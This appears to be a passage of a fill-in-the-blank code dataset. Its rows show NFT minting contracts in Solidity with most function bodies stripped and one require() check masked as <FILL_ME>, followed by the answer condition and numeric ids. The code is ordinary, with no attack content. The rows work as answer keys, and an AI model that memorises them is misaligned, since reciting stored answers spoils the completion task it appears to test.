function withdraw() public onlyOwner {
}
// =========================================================================
// Token Logic
// =========================================================================
function mintForAddresses(uint256[] calldata _mintAmounts, address[] calldata _addresses) public onlyOwner {
}
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function mint(bytes32 hash, bytes memory signature) public whenNotPaused nonReentrant {
require(currentSaleCounter < phaseSaleMax, "This phase is over");
require(<FILL_ME>)
require(!mintClaimed[msg.sender], "BishojoClub: You have already claimed your pass!");
require(
hash == keccak256(abi.encode(msg.sender, getCurrentTokenId(), address(this))),
"Invalid hash"
);
require(
ECDSA.recover(ECDSA.toEthSignedMessageHash(hash), signature) == defender,
"Invalid signature"
);
_safeMint(msg.sender, MINT_PER_WALLET);
mintClaimed[msg.sender] = true;
currentSaleCounter++;
}
/// @dev Function to set the metadata uri.
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/// @dev Function to set the prereveal metadata uri.
function setPrerevealURI(string calldata _prerevealURI) external onlyOwner {
}
/// @dev The tokenURI logic here is copied 1:1 with the old contract to
/// @dev keep the metadata the same for each tokenId.
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// =========================================================================
// Operator filtering
// =========================================================================
function setApprovalForAll (address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function transferFrom(address from, address to, uint256 tokenId) public payable virtual override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
checkSBTMode
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view returns (bool) {
}
function _checkFilterOperator(address operator) internal view override virtual {
}
// =========================================================================
// ERC2891
// =========================================================================
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
// =========================================================================
// ERC165
// =========================================================================
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC721A, ERC2981) returns (bool) {
}
}
| totalSupply()+1<MAX_SUPPLY+1,"BishojoClub: Max supply exceeded!" | 497,294 | totalSupply()+1<MAX_SUPPLY+1 |
"BishojoClub: You have already claimed your pass!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
/***
ββ β¬ββββ¬ β¬βββ β¬βββ ββββ¬ β¬ β¬ββ β¦ β¦β¬ β¬ββ β¬β¬ β¬βββ
β β©ββββββββ€β β ββ β β β β βββ΄β ββ¦ββ βββ΄ββββββββ€
ββββ΄ββββ΄ β΄ββββββββ ββββ΄ββββββββ β© βββββββ΄ββ΄ββ΄ β΄
// @author kenjo (jo.dreame@gmail.com)
*/
contract BishojoClubYubiwa is ERC721A, ERC721AQueryable, Pausable, Ownable, ReentrancyGuard, ERC2981, DefaultOperatorFilterer {
mapping(address => bool) public mintClaimed;
bool public operatorFilteringEnabled = true;
/**
* @notice The SBTMode at which the token can be transferred or approved.
*/
bool public SBTMode = true;
uint256 public constant MAX_SUPPLY = 690;
uint256 public constant MINT_PER_WALLET = 1;
string public baseURI = "";
string public prerevealURI = "https://ipfs.io/ipfs/bafkreie4p4vqrc5ilgoqm3xr5omc6zgh7etcjvqwaw4vwyfpyylwm2oanq";
uint64 public currentSaleCounter = 0;
uint64 public phaseSaleMax = 0;
// Address of OZ Defender's Relayer
address private immutable defender;
constructor(address _defender) ERC721A("Bishojo Club: Yubiwa", "BCY") {
}
// =========================================================================
// Utils
// =========================================================================
modifier checkSBTMode() {
}
/**
* @notice Set the SBT mode at which the token can be transferred or approved.
* @param val true: SBT mode(Not enable transferred and approved), false: enable transferred and approved.
*/
function setSBTMode(bool val) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function getCurrentTokenId() public view returns (uint256) {
}
function resetPhase(uint64 _phaseSaleMax) public onlyOwner {
}
function setPause(bool val) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// =========================================================================
// Token Logic
// =========================================================================
function mintForAddresses(uint256[] calldata _mintAmounts, address[] calldata _addresses) public onlyOwner {
}
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function mint(bytes32 hash, bytes memory signature) public whenNotPaused nonReentrant {
require(currentSaleCounter < phaseSaleMax, "This phase is over");
require (totalSupply() + 1 < MAX_SUPPLY + 1, "BishojoClub: Max supply exceeded!");
require(<FILL_ME>)
require(
hash == keccak256(abi.encode(msg.sender, getCurrentTokenId(), address(this))),
"Invalid hash"
);
require(
ECDSA.recover(ECDSA.toEthSignedMessageHash(hash), signature) == defender,
"Invalid signature"
);
_safeMint(msg.sender, MINT_PER_WALLET);
mintClaimed[msg.sender] = true;
currentSaleCounter++;
}
/// @dev Function to set the metadata uri.
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/// @dev Function to set the prereveal metadata uri.
function setPrerevealURI(string calldata _prerevealURI) external onlyOwner {
}
/// @dev The tokenURI logic here is copied 1:1 with the old contract to
/// @dev keep the metadata the same for each tokenId.
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// =========================================================================
// Operator filtering
// =========================================================================
function setApprovalForAll (address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function transferFrom(address from, address to, uint256 tokenId) public payable virtual override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
checkSBTMode
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view returns (bool) {
}
function _checkFilterOperator(address operator) internal view override virtual {
}
// =========================================================================
// ERC2891
// =========================================================================
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
// =========================================================================
// ERC165
// =========================================================================
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC721A, ERC2981) returns (bool) {
}
}
| !mintClaimed[msg.sender],"BishojoClub: You have already claimed your pass!" | 497,294 | !mintClaimed[msg.sender] |
"Invalid signature" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
/***
ββ β¬ββββ¬ β¬βββ β¬βββ ββββ¬ β¬ β¬ββ β¦ β¦β¬ β¬ββ β¬β¬ β¬βββ
β β©ββββββββ€β β ββ β β β β βββ΄β ββ¦ββ βββ΄ββββββββ€
ββββ΄ββββ΄ β΄ββββββββ ββββ΄ββββββββ β© βββββββ΄ββ΄ββ΄ β΄
// @author kenjo (jo.dreame@gmail.com)
*/
contract BishojoClubYubiwa is ERC721A, ERC721AQueryable, Pausable, Ownable, ReentrancyGuard, ERC2981, DefaultOperatorFilterer {
mapping(address => bool) public mintClaimed;
bool public operatorFilteringEnabled = true;
/**
* @notice The SBTMode at which the token can be transferred or approved.
*/
bool public SBTMode = true;
uint256 public constant MAX_SUPPLY = 690;
uint256 public constant MINT_PER_WALLET = 1;
string public baseURI = "";
string public prerevealURI = "https://ipfs.io/ipfs/bafkreie4p4vqrc5ilgoqm3xr5omc6zgh7etcjvqwaw4vwyfpyylwm2oanq";
uint64 public currentSaleCounter = 0;
uint64 public phaseSaleMax = 0;
// Address of OZ Defender's Relayer
address private immutable defender;
constructor(address _defender) ERC721A("Bishojo Club: Yubiwa", "BCY") {
}
// =========================================================================
// Utils
// =========================================================================
modifier checkSBTMode() {
}
/**
* @notice Set the SBT mode at which the token can be transferred or approved.
* @param val true: SBT mode(Not enable transferred and approved), false: enable transferred and approved.
*/
function setSBTMode(bool val) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function getCurrentTokenId() public view returns (uint256) {
}
function resetPhase(uint64 _phaseSaleMax) public onlyOwner {
}
function setPause(bool val) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// =========================================================================
// Token Logic
// =========================================================================
function mintForAddresses(uint256[] calldata _mintAmounts, address[] calldata _addresses) public onlyOwner {
}
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function mint(bytes32 hash, bytes memory signature) public whenNotPaused nonReentrant {
require(currentSaleCounter < phaseSaleMax, "This phase is over");
require (totalSupply() + 1 < MAX_SUPPLY + 1, "BishojoClub: Max supply exceeded!");
require(!mintClaimed[msg.sender], "BishojoClub: You have already claimed your pass!");
require(
hash == keccak256(abi.encode(msg.sender, getCurrentTokenId(), address(this))),
"Invalid hash"
);
require(<FILL_ME>)
_safeMint(msg.sender, MINT_PER_WALLET);
mintClaimed[msg.sender] = true;
currentSaleCounter++;
}
/// @dev Function to set the metadata uri.
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/// @dev Function to set the prereveal metadata uri.
function setPrerevealURI(string calldata _prerevealURI) external onlyOwner {
}
/// @dev The tokenURI logic here is copied 1:1 with the old contract to
/// @dev keep the metadata the same for each tokenId.
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// =========================================================================
// Operator filtering
// =========================================================================
function setApprovalForAll (address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function transferFrom(address from, address to, uint256 tokenId) public payable virtual override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
checkSBTMode
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view returns (bool) {
}
function _checkFilterOperator(address operator) internal view override virtual {
}
// =========================================================================
// ERC2891
// =========================================================================
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
// =========================================================================
// ERC165
// =========================================================================
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC721A, ERC2981) returns (bool) {
}
}
| ECDSA.recover(ECDSA.toEthSignedMessageHash(hash),signature)==defender,"Invalid signature" | 497,294 | ECDSA.recover(ECDSA.toEthSignedMessageHash(hash),signature)==defender |
"Purchase would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
/**
* @title TapTapRev contract
* @dev Extends ERC721A Non-Fungible Token Standard implementation
*/
contract TapTapRevSI is
Ownable,
ReentrancyGuard,
ERC721AQueryable
{
using SafeMath for uint256;
uint256 public collectionSize = 8481;
uint256 public reserveAmount = 150;
uint256 public publicMintPrice = 0.065 ether;
uint256 public addressMintMax = 8;
uint256 public publicMintStartTime = 0; // Must be EPOCH
uint256 public publicMintDuration = 365 days;
/*
* Once mint ends this will only be able to be updated to false, closing mint forever.
* Supply can never be diluted.
*/
bool public mintOpen = true;
/*
* Token.
*/
string private _baseTokenURI;
uint256 private constant _startingTokenId = 407;
/*
* Make sure origin is sender.
*/
modifier callerIsUser() {
}
/*
* Make sure were open for business.
*/
modifier onlyMintOpen() {
}
constructor(
string memory _initName,
string memory _initSymbol,
string memory _initBaseURI,
uint256 _initpublicMintStartTime
) ERC721A(_initName, _initSymbol) {
}
/*
* Connect and override base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/*
* Connect and override base startTokenId.
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/*
* Set base URI for meta data.
*/
function setBaseURI(string calldata baseURI) external onlyOwner nonReentrant {
}
/*
* Set base URI for meta data.
*/
function _validatePayment(uint256 price) private {
}
/*
* Withdraw Ether from contract.
*/
function withdrawFunds() external onlyOwner nonReentrant {
}
/*
* Reverse look up tokenId to owner address.
*/
function getTokenOwnerAddress(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
/*
* Get number of tokens a user has minted.
*/
function getNumberMinted(address owner) public view returns (uint256) {
}
/*
* Update collection size if necessary.
*/
function setCollectionSize(uint256 _size) external onlyOwner nonReentrant {
}
/*
* Update reserve amount if necessary.
*/
function setReserveAmount(uint256 _amount) external onlyOwner nonReentrant {
}
/*
* Update Public Mint duration if necessary.
*/
function setPublicMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update Public Mint start time if necessary.
*/
function setPublicMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update Public Mint price if necessary.
*/
function setPublicMintPrice(uint256 _price) external onlyOwner nonReentrant {
}
/*
* Update max mints allowed if necessary.
*/
function setAddressMintMax(uint256 _number) external onlyOwner nonReentrant {
}
/*
* Close Minting.
*/
function closeMint() external onlyOwner nonReentrant {
}
/*
* Set some TTRs aside for marketing etc.
*/
function mintDevAndMarketingReserve() external onlyOwner nonReentrant onlyMintOpen {
}
/*
* Mint function to handle public auction.
*/
function publicMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
require(block.timestamp >= publicMintStartTime, "Public Mint not yet started.");
require(block.timestamp < publicMintStartTime + publicMintDuration, "Public is over.");
require(
getNumberMinted(msg.sender) + quantity <= addressMintMax,
"Cannot Mint that many TTR's."
);
require(<FILL_ME>)
uint256 totalCost = publicMintPrice * quantity;
_safeMint(msg.sender, quantity);
_validatePayment(totalCost);
}
}
| totalSupply()+quantity<=collectionSize-reserveAmount,"Purchase would exceed max supply" | 497,305 | totalSupply()+quantity<=collectionSize-reserveAmount |
'OO1' | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import '../utils/OwnableUpgradeable.sol';
import './OmnuumNFT1155.sol';
/// @title OmnuumMintManager - Manage mint data and logics except ticket minting
/// @author Omnuum Dev Team - <crypto_dev@omnuum.com>
/// @notice Use only purpose for Omnuum
contract OmnuumMintManager is OwnableUpgradeable {
uint8 public constant rateDecimal = 5;
/// @notice minting fee rate
uint256 public feeRate;
/// @notice minimum fee (ether)
uint256 public minFee;
/// @notice special fee rates for exceptional contracts
mapping(address => uint256) public specialFeeRates;
/// @notice nft => groupId => PublicMintSchedule
mapping(address => mapping(uint256 => PublicMintSchedule)) public publicMintSchedules;
event ChangeFeeRate(uint256 feeRate);
event SetSpecialFeeRate(address indexed nftContract, uint256 discountFeeRate);
event SetMinFee(uint256 minFee);
event Airdrop(address indexed nftContract, address indexed receiver, uint256 quantity);
event SetPublicSchedule(
address indexed nftContract,
uint256 indexed groupId,
uint256 endDate,
uint256 basePrice,
uint32 supply,
uint32 maxMintAtAddress
);
event PublicMint(
address indexed nftContract,
address indexed minter,
uint256 indexed groupId,
uint32 quantity,
uint32 maxQuantity,
uint256 price
);
struct PublicMintSchedule {
uint32 supply; // max possible minting amount
uint32 mintedTotal; // total minted amount
uint32 maxMintAtAddress; // max possible minting amount per address
mapping(address => uint32) minted; // minting count per address
uint256 endDate; // minting schedule end date timestamp
uint256 basePrice; // minting price
}
function initialize(uint256 _feeRate) public initializer {
}
/// @notice get fee rate of given nft contract
/// @param _nftContract address of nft contract
function getFeeRate(address _nftContract) public view returns (uint256) {
}
/// @notice change fee rate
/// @param _newFeeRate new fee rate
function changeFeeRate(uint256 _newFeeRate) external onlyOwner {
}
/// @notice set special fee rate for exceptional case
/// @param _nftContract address of nft
/// @param _feeRate fee rate only for nft contract
function setSpecialFeeRate(address _nftContract, uint256 _feeRate) external onlyOwner {
}
function setMinFee(uint256 _minFee) external onlyOwner {
}
/// @notice add public mint schedule
/// @dev only nft contract owner can add mint schedule
/// @param _nft nft contract address
/// @param _groupId id of mint schedule
/// @param _endDate end date of schedule
/// @param _basePrice mint price of schedule
/// @param _supply max possible minting amount
/// @param _maxMintAtAddress max possible minting amount per address
function setPublicMintSchedule(
address _nft,
uint256 _groupId,
uint256 _endDate,
uint256 _basePrice,
uint32 _supply,
uint32 _maxMintAtAddress
) external {
/// @custom:error (OO1) - Ownable: Caller is not the collection owner
require(<FILL_ME>)
PublicMintSchedule storage schedule = publicMintSchedules[_nft][_groupId];
schedule.supply = _supply;
schedule.endDate = _endDate;
schedule.basePrice = _basePrice;
schedule.maxMintAtAddress = _maxMintAtAddress;
emit SetPublicSchedule(_nft, _groupId, _endDate, _basePrice, _supply, _maxMintAtAddress);
}
/// @notice before nft mint, check whether mint is possible and count new mint at mint schedule
/// @dev only nft contract itself can access and use its mint schedule
/// @param _groupId id of schedule
/// @param _quantity quantity to mint
/// @param _value value sent to mint at NFT contract, used for checking whether value is enough or not to mint
/// @param _minter msg.sender at NFT contract who are trying to mint
function preparePublicMint(
uint16 _groupId,
uint32 _quantity,
uint256 _value,
address _minter
) external {
}
/// @notice minting multiple nfts, can be used for airdrop
/// @dev only nft owner can use this function
/// @param _nftContract address of nft contract
/// @param _tos list of minting target address
/// @param _quantitys list of minting quantity which is paired with _tos
function mintMultiple(
address payable _nftContract,
address[] calldata _tos,
uint16[] calldata _quantitys
) external payable {
}
}
| OwnableUpgradeable(_nft).owner()==msg.sender,'OO1' | 497,464 | OwnableUpgradeable(_nft).owner()==msg.sender |
'MT5' | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import '../utils/OwnableUpgradeable.sol';
import './OmnuumNFT1155.sol';
/// @title OmnuumMintManager - Manage mint data and logics except ticket minting
/// @author Omnuum Dev Team - <crypto_dev@omnuum.com>
/// @notice Use only purpose for Omnuum
contract OmnuumMintManager is OwnableUpgradeable {
uint8 public constant rateDecimal = 5;
/// @notice minting fee rate
uint256 public feeRate;
/// @notice minimum fee (ether)
uint256 public minFee;
/// @notice special fee rates for exceptional contracts
mapping(address => uint256) public specialFeeRates;
/// @notice nft => groupId => PublicMintSchedule
mapping(address => mapping(uint256 => PublicMintSchedule)) public publicMintSchedules;
event ChangeFeeRate(uint256 feeRate);
event SetSpecialFeeRate(address indexed nftContract, uint256 discountFeeRate);
event SetMinFee(uint256 minFee);
event Airdrop(address indexed nftContract, address indexed receiver, uint256 quantity);
event SetPublicSchedule(
address indexed nftContract,
uint256 indexed groupId,
uint256 endDate,
uint256 basePrice,
uint32 supply,
uint32 maxMintAtAddress
);
event PublicMint(
address indexed nftContract,
address indexed minter,
uint256 indexed groupId,
uint32 quantity,
uint32 maxQuantity,
uint256 price
);
struct PublicMintSchedule {
uint32 supply; // max possible minting amount
uint32 mintedTotal; // total minted amount
uint32 maxMintAtAddress; // max possible minting amount per address
mapping(address => uint32) minted; // minting count per address
uint256 endDate; // minting schedule end date timestamp
uint256 basePrice; // minting price
}
function initialize(uint256 _feeRate) public initializer {
}
/// @notice get fee rate of given nft contract
/// @param _nftContract address of nft contract
function getFeeRate(address _nftContract) public view returns (uint256) {
}
/// @notice change fee rate
/// @param _newFeeRate new fee rate
function changeFeeRate(uint256 _newFeeRate) external onlyOwner {
}
/// @notice set special fee rate for exceptional case
/// @param _nftContract address of nft
/// @param _feeRate fee rate only for nft contract
function setSpecialFeeRate(address _nftContract, uint256 _feeRate) external onlyOwner {
}
function setMinFee(uint256 _minFee) external onlyOwner {
}
/// @notice add public mint schedule
/// @dev only nft contract owner can add mint schedule
/// @param _nft nft contract address
/// @param _groupId id of mint schedule
/// @param _endDate end date of schedule
/// @param _basePrice mint price of schedule
/// @param _supply max possible minting amount
/// @param _maxMintAtAddress max possible minting amount per address
function setPublicMintSchedule(
address _nft,
uint256 _groupId,
uint256 _endDate,
uint256 _basePrice,
uint32 _supply,
uint32 _maxMintAtAddress
) external {
}
/// @notice before nft mint, check whether mint is possible and count new mint at mint schedule
/// @dev only nft contract itself can access and use its mint schedule
/// @param _groupId id of schedule
/// @param _quantity quantity to mint
/// @param _value value sent to mint at NFT contract, used for checking whether value is enough or not to mint
/// @param _minter msg.sender at NFT contract who are trying to mint
function preparePublicMint(
uint16 _groupId,
uint32 _quantity,
uint256 _value,
address _minter
) external {
PublicMintSchedule storage schedule = publicMintSchedules[msg.sender][_groupId];
/// @custom:error (MT8) - Minting period is ended
require(block.timestamp <= schedule.endDate, 'MT8');
/// @custom:error (MT5) - Not enough money
require(<FILL_ME>)
/// @custom:error (MT2) - Cannot mint more than possible amount per address
require(schedule.minted[_minter] + _quantity <= schedule.maxMintAtAddress, 'MT2');
/// @custom:error (MT3) - Remaining token count is not enough
require(schedule.mintedTotal + _quantity <= schedule.supply, 'MT3');
schedule.minted[_minter] += _quantity;
schedule.mintedTotal += _quantity;
emit PublicMint(msg.sender, _minter, _groupId, _quantity, schedule.supply, schedule.basePrice);
}
/// @notice minting multiple nfts, can be used for airdrop
/// @dev only nft owner can use this function
/// @param _nftContract address of nft contract
/// @param _tos list of minting target address
/// @param _quantitys list of minting quantity which is paired with _tos
function mintMultiple(
address payable _nftContract,
address[] calldata _tos,
uint16[] calldata _quantitys
) external payable {
}
}
| schedule.basePrice*_quantity<=_value,'MT5' | 497,464 | schedule.basePrice*_quantity<=_value |
'MT2' | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import '../utils/OwnableUpgradeable.sol';
import './OmnuumNFT1155.sol';
/// @title OmnuumMintManager - Manage mint data and logics except ticket minting
/// @author Omnuum Dev Team - <crypto_dev@omnuum.com>
/// @notice Use only purpose for Omnuum
contract OmnuumMintManager is OwnableUpgradeable {
uint8 public constant rateDecimal = 5;
/// @notice minting fee rate
uint256 public feeRate;
/// @notice minimum fee (ether)
uint256 public minFee;
/// @notice special fee rates for exceptional contracts
mapping(address => uint256) public specialFeeRates;
/// @notice nft => groupId => PublicMintSchedule
mapping(address => mapping(uint256 => PublicMintSchedule)) public publicMintSchedules;
event ChangeFeeRate(uint256 feeRate);
event SetSpecialFeeRate(address indexed nftContract, uint256 discountFeeRate);
event SetMinFee(uint256 minFee);
event Airdrop(address indexed nftContract, address indexed receiver, uint256 quantity);
event SetPublicSchedule(
address indexed nftContract,
uint256 indexed groupId,
uint256 endDate,
uint256 basePrice,
uint32 supply,
uint32 maxMintAtAddress
);
event PublicMint(
address indexed nftContract,
address indexed minter,
uint256 indexed groupId,
uint32 quantity,
uint32 maxQuantity,
uint256 price
);
struct PublicMintSchedule {
uint32 supply; // max possible minting amount
uint32 mintedTotal; // total minted amount
uint32 maxMintAtAddress; // max possible minting amount per address
mapping(address => uint32) minted; // minting count per address
uint256 endDate; // minting schedule end date timestamp
uint256 basePrice; // minting price
}
function initialize(uint256 _feeRate) public initializer {
}
/// @notice get fee rate of given nft contract
/// @param _nftContract address of nft contract
function getFeeRate(address _nftContract) public view returns (uint256) {
}
/// @notice change fee rate
/// @param _newFeeRate new fee rate
function changeFeeRate(uint256 _newFeeRate) external onlyOwner {
}
/// @notice set special fee rate for exceptional case
/// @param _nftContract address of nft
/// @param _feeRate fee rate only for nft contract
function setSpecialFeeRate(address _nftContract, uint256 _feeRate) external onlyOwner {
}
function setMinFee(uint256 _minFee) external onlyOwner {
}
/// @notice add public mint schedule
/// @dev only nft contract owner can add mint schedule
/// @param _nft nft contract address
/// @param _groupId id of mint schedule
/// @param _endDate end date of schedule
/// @param _basePrice mint price of schedule
/// @param _supply max possible minting amount
/// @param _maxMintAtAddress max possible minting amount per address
function setPublicMintSchedule(
address _nft,
uint256 _groupId,
uint256 _endDate,
uint256 _basePrice,
uint32 _supply,
uint32 _maxMintAtAddress
) external {
}
/// @notice before nft mint, check whether mint is possible and count new mint at mint schedule
/// @dev only nft contract itself can access and use its mint schedule
/// @param _groupId id of schedule
/// @param _quantity quantity to mint
/// @param _value value sent to mint at NFT contract, used for checking whether value is enough or not to mint
/// @param _minter msg.sender at NFT contract who are trying to mint
function preparePublicMint(
uint16 _groupId,
uint32 _quantity,
uint256 _value,
address _minter
) external {
PublicMintSchedule storage schedule = publicMintSchedules[msg.sender][_groupId];
/// @custom:error (MT8) - Minting period is ended
require(block.timestamp <= schedule.endDate, 'MT8');
/// @custom:error (MT5) - Not enough money
require(schedule.basePrice * _quantity <= _value, 'MT5');
/// @custom:error (MT2) - Cannot mint more than possible amount per address
require(<FILL_ME>)
/// @custom:error (MT3) - Remaining token count is not enough
require(schedule.mintedTotal + _quantity <= schedule.supply, 'MT3');
schedule.minted[_minter] += _quantity;
schedule.mintedTotal += _quantity;
emit PublicMint(msg.sender, _minter, _groupId, _quantity, schedule.supply, schedule.basePrice);
}
/// @notice minting multiple nfts, can be used for airdrop
/// @dev only nft owner can use this function
/// @param _nftContract address of nft contract
/// @param _tos list of minting target address
/// @param _quantitys list of minting quantity which is paired with _tos
function mintMultiple(
address payable _nftContract,
address[] calldata _tos,
uint16[] calldata _quantitys
) external payable {
}
}
| schedule.minted[_minter]+_quantity<=schedule.maxMintAtAddress,'MT2' | 497,464 | schedule.minted[_minter]+_quantity<=schedule.maxMintAtAddress |
'MT3' | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import '../utils/OwnableUpgradeable.sol';
import './OmnuumNFT1155.sol';
/// @title OmnuumMintManager - Manage mint data and logics except ticket minting
/// @author Omnuum Dev Team - <crypto_dev@omnuum.com>
/// @notice Use only purpose for Omnuum
contract OmnuumMintManager is OwnableUpgradeable {
uint8 public constant rateDecimal = 5;
/// @notice minting fee rate
uint256 public feeRate;
/// @notice minimum fee (ether)
uint256 public minFee;
/// @notice special fee rates for exceptional contracts
mapping(address => uint256) public specialFeeRates;
/// @notice nft => groupId => PublicMintSchedule
mapping(address => mapping(uint256 => PublicMintSchedule)) public publicMintSchedules;
event ChangeFeeRate(uint256 feeRate);
event SetSpecialFeeRate(address indexed nftContract, uint256 discountFeeRate);
event SetMinFee(uint256 minFee);
event Airdrop(address indexed nftContract, address indexed receiver, uint256 quantity);
event SetPublicSchedule(
address indexed nftContract,
uint256 indexed groupId,
uint256 endDate,
uint256 basePrice,
uint32 supply,
uint32 maxMintAtAddress
);
event PublicMint(
address indexed nftContract,
address indexed minter,
uint256 indexed groupId,
uint32 quantity,
uint32 maxQuantity,
uint256 price
);
struct PublicMintSchedule {
uint32 supply; // max possible minting amount
uint32 mintedTotal; // total minted amount
uint32 maxMintAtAddress; // max possible minting amount per address
mapping(address => uint32) minted; // minting count per address
uint256 endDate; // minting schedule end date timestamp
uint256 basePrice; // minting price
}
function initialize(uint256 _feeRate) public initializer {
}
/// @notice get fee rate of given nft contract
/// @param _nftContract address of nft contract
function getFeeRate(address _nftContract) public view returns (uint256) {
}
/// @notice change fee rate
/// @param _newFeeRate new fee rate
function changeFeeRate(uint256 _newFeeRate) external onlyOwner {
}
/// @notice set special fee rate for exceptional case
/// @param _nftContract address of nft
/// @param _feeRate fee rate only for nft contract
function setSpecialFeeRate(address _nftContract, uint256 _feeRate) external onlyOwner {
}
function setMinFee(uint256 _minFee) external onlyOwner {
}
/// @notice add public mint schedule
/// @dev only nft contract owner can add mint schedule
/// @param _nft nft contract address
/// @param _groupId id of mint schedule
/// @param _endDate end date of schedule
/// @param _basePrice mint price of schedule
/// @param _supply max possible minting amount
/// @param _maxMintAtAddress max possible minting amount per address
function setPublicMintSchedule(
address _nft,
uint256 _groupId,
uint256 _endDate,
uint256 _basePrice,
uint32 _supply,
uint32 _maxMintAtAddress
) external {
}
/// @notice before nft mint, check whether mint is possible and count new mint at mint schedule
/// @dev only nft contract itself can access and use its mint schedule
/// @param _groupId id of schedule
/// @param _quantity quantity to mint
/// @param _value value sent to mint at NFT contract, used for checking whether value is enough or not to mint
/// @param _minter msg.sender at NFT contract who are trying to mint
function preparePublicMint(
uint16 _groupId,
uint32 _quantity,
uint256 _value,
address _minter
) external {
PublicMintSchedule storage schedule = publicMintSchedules[msg.sender][_groupId];
/// @custom:error (MT8) - Minting period is ended
require(block.timestamp <= schedule.endDate, 'MT8');
/// @custom:error (MT5) - Not enough money
require(schedule.basePrice * _quantity <= _value, 'MT5');
/// @custom:error (MT2) - Cannot mint more than possible amount per address
require(schedule.minted[_minter] + _quantity <= schedule.maxMintAtAddress, 'MT2');
/// @custom:error (MT3) - Remaining token count is not enough
require(<FILL_ME>)
schedule.minted[_minter] += _quantity;
schedule.mintedTotal += _quantity;
emit PublicMint(msg.sender, _minter, _groupId, _quantity, schedule.supply, schedule.basePrice);
}
/// @notice minting multiple nfts, can be used for airdrop
